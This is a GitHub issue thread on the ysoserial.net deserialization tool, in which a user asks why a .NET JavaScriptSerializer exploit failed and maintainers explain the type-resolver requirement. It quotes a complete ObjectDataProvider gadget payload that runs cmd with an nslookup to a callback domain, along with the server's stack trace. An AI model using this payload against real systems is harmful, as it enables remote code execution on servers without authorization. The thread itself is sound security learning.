pwntester / ysoserial.net

Deserialization payload generator for a variety of .NET formatters

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

JavascriptObjectDeserializer - question

S3cur3Th1sSh1t opened this issue · comments

Hi,

im having a question here instead of an issue.
im currently trying to exploit a potential Deserialisation vulnerability in a webapplication which is using JavascriptObjectDeserializer. I tried to exploit the vulnerability with the given JavascriptObjectDeserialize payload given here:

_{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c nslookup collaborator.somedomain.com'
        }
    }
}_

The Web application throws the following error:

_{"Message":"The operation is invalid due to the current state of the object.","StackTrace":"   bei System.Web.Script.Serialization.ObjectConverter.ConvertDictionaryToObject(IDictionary`2 dictionary, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeInternal(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeMain(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object\u0026 convertedObject)\r\n   bei System.Web.Script.Serialization.ObjectConverter.ConvertObjectToType(Object o, Type type, JavaScriptSerializer serializer)\r\n   at System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth)\r\n   bei System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(String input, Int32 depthLimit, JavaScriptSerializer serializer)\r\n   bei System.Web.Script.Serialization.JavaScriptSerializer.Deserialize[T](String input)\r\n   bei System.Web.Script.Services.RestHandler.ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)","ExceptionType":"System.InvalidOperationException"}_

No DNS-Lookup was executed here. Im just learning how to exploit deserialisation vulnerabilities but from my previous research, i estimate that the application no longer accepts the Object System.Windows.Data.ObjectDataProvider because it has been patched. Do I assume this correctly or should an RCE always be possible if the deserialization fails with an error message?
Unfortunately, I don't have access to source code (black box).

Thank you for your answers.

Greetings

JavascriptSerializer is only vulnerable if instantiated with a type resolver:

new JavaScriptSerializer(new SimpleTypeResolver())

This is not frequent though so chances are that your target app is not vulnerable.

If its using a type resolver, the JSON you are getting should have some "__type" attributes.

Cheers

Hi again,

in the regular JSON Input Requests, there are "__type" attributes in the web applications response. So the webapp is definitely using a type resolver..

A regular requests has for example the following parameter:
{sP1: 2}

The response is as follows:
{"d":[{"__type":"Intergraph.Respublica.Web.Extension.RPWebIF.NameValue","[and so on]"]}

Then it sounds like it could be vulnerable (if using the simpleTypeResolver and not a custom type resolver that does whitelist types). Unfortunately, from a blackbox perspective there is not a lot you can do to debug the problem.

Some ideas:

  • They dont have the required assemblies
  • nslookup has been deleted from the server